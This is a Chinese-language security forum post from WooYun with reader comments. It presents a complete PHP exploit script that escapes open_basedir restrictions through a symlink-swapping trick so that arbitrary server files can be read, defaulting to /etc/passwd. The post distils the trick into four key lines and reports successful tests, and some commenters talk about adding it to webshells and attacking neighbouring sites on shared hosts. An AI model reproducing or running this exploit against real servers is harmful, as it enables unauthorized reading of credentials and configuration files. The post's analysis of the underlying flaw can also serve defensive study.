当前位置:WooYun(白帽子技术社区) >> php >> php5全版本绕过open_basedir读文件脚本

php5全版本绕过open_basedir读文件脚本

phith0n (我也不会难过 你不要小看我) | 2014-12-08 23:25

这是前段时间写的代码了(http://www.weibo.com/1074745063/ByAPqj7s0),最近一直忙着和几个同学一起做非安全类的创业项目。所以也没拿到JAE、SAE测试一下。

不说了。。进入正题。
漏洞很久之前(大概5年前)被提出来了,但并不是php代码上的问题,所以问题一直存在,直到现在。我一直没留意,后来yaseng告诉我的,他测试了好像5.5都可以。
他在评论里发过了:http://zone.wooyun.org/content/17131,漏洞详情在这里http://cxsecurity.com/issue/WLB-2009110068
给出我写的EXP:
<?php
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
  mkdir($paths[$i]);
  chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
  chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
  mkdir($name);
  chdir($name);
  $j++;
}
for ($i = 0; $i <= $j; $i++) {
  chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to) {
  // some compatibility fixes for Windows paths
  $from = rtrim($from, '\/') . '/';
  $from = str_replace('\\', '/', $from);
  $to   = str_replace('\\', '/', $to);

  $from   = explode('/', $from);
  $to     = explode('/', $to);
  $relPath  = $to;

  foreach($from as $depth => $dir) {
    // find first non-matching dir
    if($dir === $to[$depth]) {
      // ignore this directory
      array_shift($relPath);
    } else {
      // get number of remaining dirs to $from
      $remaining = count($from) - $depth;
      if($remaining > 1) {
        // add traversals up to first matching dir
        $padLength = (count($relPath) + $remaining - 1) * -1;
        $relPath = array_pad($relPath, $padLength, '..');
        break;
      } else {
        $relPath[0] = './' . $relPath[0];
      }
    }
  }
  return implode('/', $relPath);
}

function delfile($deldir){
  if (@is_file($deldir)) {
    @chmod($deldir,0777);
    return @unlink($deldir);
  }else if(@is_dir($deldir)){
    if(($mydir = @opendir($deldir)) == NULL) return false;
    while(false !== ($file = @readdir($mydir)))
    {
      $name = File_Str($deldir.'/'.$file);
      if(($file!='.') && ($file!='..')){delfile($name);}
    }
    @closedir($mydir);
    @chmod($deldir,0777);
    return @rmdir($deldir) ? true : false;
  }
}

function File_Str($string)
{
  return str_replace('//','/',str_replace('\\','/',$string));
}

function getRandStr($length = 6) {
  $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  $randStr = '';
  for ($i = 0; $i < $length; $i++) {
    $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
  }
  return $randStr;
}


如我们欲读取/etc/passwd。其实原理就是创建一个链接文件x,用相对路径指向a/a/a/a,再创建一个链接文件exp指向x/../../../etc/passwd。其实指向的就是a/a/a/a/../../../etc/passwd,其实就是./etc/passwd。这时候删除x,再创建一个x目录,但exp还是指向x/../../../etc/passwd,所以就成功跨到/etc/passwd了。
精华就是这四句:
symlink("abc/abc/abc/abc","tmplink");
symlink("tmplink/../../../etc/passwd", "exploit");
unlink("tmplink");
mkdir("tmplink");

我们访问http://xxx/exp,如果服务器支持链接文件的访问,那么就能读到/etc/passwd。
其中并没有任何操作触发open_basedir,但达到的效果就是绕过了open_basedir读取任意文件。错误不在php,但又不知道把错误归结到谁头上,所以php一直未管这个问题。

我在我的VPS(php5.3.28 + nginx)和树莓派(php 5.4.4 + nginx)上都测试过,成功读取。
树莓派测试:
01.jpg
02.jpg
相比于5.3 XML那个洞(那个很多文件读不了),这个成功率还是比较稳的,很多文件都能读。而且版本没要求,危害比较大。
前几天成信的CTF,试了下这个脚本,apache也可以读取,当时读了读kali机子的/etc/httpd/conf/httpd.conf,没啥收获。发现没旁站,流量是通过网关转发的。
40.jpg
L战队几个棍子都很给力,希望他们继续666,我继续围观。

分享到:
  1. 1#
    回复此人 感谢
    L.N. (http://ln.sycsec.com/) | 2014-12-08 23:38

    赞一个,好像有itsec的webshell加入了这个功能。

  2. 2#
    回复此人 感谢
    绿帽子 | 2014-12-08 23:38

    你大腿缺挂件不

  3. 3#
    回复此人 感谢
    小龙 | 2014-12-09 00:08

    @绿帽子 别跟我抢,我要抱!

  4. 4#
    回复此人 感谢
    _Thorns (创业公司招聘系统运维、软件逆向、数据可视化攻城狮。) | 2014-12-09 00:16

    赞一个~

  5. 5#
    回复此人 感谢
    瞌睡龙 (drops) | 2014-12-09 00:35

    @phith0n 帮你改好了~

  6. 6#
    回复此人 感谢
    默秒全 | 2014-12-09 08:35

    赞一个  围观下

  7. 7#
    回复此人 感谢
    Ricter (勿忘初心 (๑`・ᴗ・´๑) | 2014-12-09 09:54

    赞赞赞,ph牛就是屌

  8. 8#
    回复此人 感谢
    老黑 | 2014-12-09 09:59

    @L.N. 他们出的SHELL整合了这个功能么?

  9. 9#
    回复此人 感谢
    只发通用型 (别人都叫我疯狗,但是我真名叫剑心,可是很多人都把我认成finger,其实我长得像肉肉) | 2014-12-09 10:00

    66666666666

  10. 10#
    回复此人 感谢
    phith0n (我也不会难过 你不要小看我) | 2014-12-09 14:08

    @L.N.
    自己的shell也要整合已有的所有绕过方式,所以前段时间在研究。。。

  11. 11#
    回复此人 感谢
    luwikes (土豆你个西红柿,番茄你个马铃薯~~~) | 2014-12-09 16:03

    87

  12. 12#
    回复此人 感谢
    Jacks (https://royalhack.ru) | 2014-12-09 16:15

    @ 楼主。

    文中有说“相比于5.3 XML那个洞(那个很多文件读不了),这个成功率还是比较稳的,很多文件都能读。而且版本没要求,危害比较大。”

    我认为,现在的WEB php 版本都很高啦。。这是2009的漏洞,当时是很通用,c99 类似这样的 鬼佬写的SHELL,都带有open_basedir的模块... 而且这个CVE 没有5.3那个xml好用,你说的很多文件读不了,那是因为代码问题,自己修改下,也就解决了。。。 实战环境中,你给的这个EXP。我丢了 6 7 个站,没有一个是可行的,, 版本都过高。。。

    SO, 。。。。。标题是不是可以改以下?  php5全版本? 确定?

  13. 13#
    回复此人 感谢
    梧桐雨 (‮ofni.uygnotuw‮) | 2014-12-09 16:26

    @Jacks php 5全版本这个的确有待商榷,毕竟在windows下的话需要php5.3+windows2003以上的版本才支持软链接(03暂时不支持)。
    另外附上刚测试成功留下的一些坑。
    1,本地测试的时候如果网站目录是root的话请修改为apache,否则访问会报没有权限的错误。
    2,文件在本地测试也是尽量丢在根目录,因为生成的软链接文件也在根目录,如果不在的话同样会报错的。(实战中可以通过修改file_get_contents来实现)
    3,windows有局限,也就是上面说的,还是软连接的问题。
    4,文件里面的函数是否被禁用。

  14. 14#
    回复此人 感谢
    retanoj | 2014-12-09 16:33

    我在奇怪,配置服务器的时候如果做好了针对文件系统的用户权限配置,并用相应的用户去运行相应的应用,open_basedir能绕过也应该没有危害了吧?

  15. 15#
    回复此人 感谢
    phith0n (我也不会难过 你不要小看我) | 2014-12-09 17:20

    @Jacks
    xml那个洞只能到5.3.1x,这个洞可以到5.5。虽然是09年的洞,但php根本没修复。你确定你失败是因为版本过高?你看完我文章了么?我5.3.28也就是5.3的最新版本测试成功,5.4.4也测试成功。如果失败,可能是你姿势不对,而不是php版本问题,标题我觉得不用修改。
    xml那个洞我一直没找到好的修改方式能读取任意文件,像nginx、apache配置文件,每次都读不了。不知道为何。

  16. 16#
    回复此人 感谢
    书生 | 2014-12-09 17:26

    我知道你在写自己的webshell,速度传群共享

  17. 17#
    回复此人 感谢
    暴暴 | 2014-12-09 17:28

    前两天在老外的站上看到……。

  18. 18#
    回复此人 感谢
    有钱任性 | 2014-12-09 17:36

    以前离P神很近啊~

  19. 19#
    回复此人 感谢
    phith0n (我也不会难过 你不要小看我) | 2014-12-09 17:48

    @retanoj 对,这就是我说的最佳解决方案。不要依赖php的安全设置。

  20. 20#
    回复此人 感谢
    dir (ls) | 2014-12-09 18:00

    求此webshell神器!!!

  21. 21#
    回复此人 感谢
    /fd (Http://prompt.ml) | 2014-12-09 18:13

    路過

  22. 22#
    回复此人 感谢
    我了个去 | 2014-12-09 19:47

    意思是不是从此linux虚拟主机可以跨目录了?  搞旁站有望了,哈哈~

  23. 23#
    回复此人 感谢
    暴暴 | 2014-12-09 19:53

    @我了个去 权限没有一样无望。前提要有权限,这个只是突破OPENBASE DIR。

  24. 24#
    回复此人 感谢
    F4K3R (多年之后,还记得回首遥望么?还想过回头么?) | 2014-12-09 21:20

    mark~

  25. 25#
    回复此人 感谢
    Cyrils | 2014-12-09 21:26

    P神叼飞!

  26. 26#
    回复此人 感谢
    Kuuki | 2014-12-09 21:35

    zues

  27. 27#
    回复此人 感谢
    北洋贱队 | 2014-12-11 10:14

    关注  略屌

  28. 28#
    回复此人 感谢
    微信公众号 | 2014-12-11 14:45

    需要权限

  29. 29#
    回复此人 感谢
    agnes0621 | 2014-12-15 16:11

    @暴暴 弱弱的问下,你说的权限是指文件系统本身的others权限吗? 这个一般没人改吧,都是755的吧

  30. 30#
    回复此人 感谢
    小森森 (学习中……) | 2014-12-15 19:07

    全版本,你确定?
    https://bugs.php.net/bug.php?id=31309

  31. 31#
    回复此人 感谢
    phith0n (我也不会难过 你不要小看我) | 2014-12-15 19:26

    @小森森
    你那个跟我说的根本不是一个问题。请看清楚我发的文章再做评论OK?

  32. 32#
    回复此人 感谢
    暴暴 | 2014-12-15 20:25

    @agnes0621 你看我回复的什么。

  33. 33#
    回复此人 感谢
    小森森 (学习中……) | 2014-12-15 20:29

    @phith0n 抱歉看错了。在有写目录全限且无selinux的情况下的确能成功。很抱歉。

  34. 34#
    回复此人 感谢
    TellYouThat | 2014-12-23 00:04

    甚屌!
    另外ph牛在忙啥创业项目? O2O吗?

  35. 35#
    回复此人 感谢
    _Evil (科普是一种公益行为) | 2015-03-26 10:39

    @L.N.

  36. 36#
    回复此人 感谢
    老黑 | 2015-06-03 23:52

    测试失败了。555

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录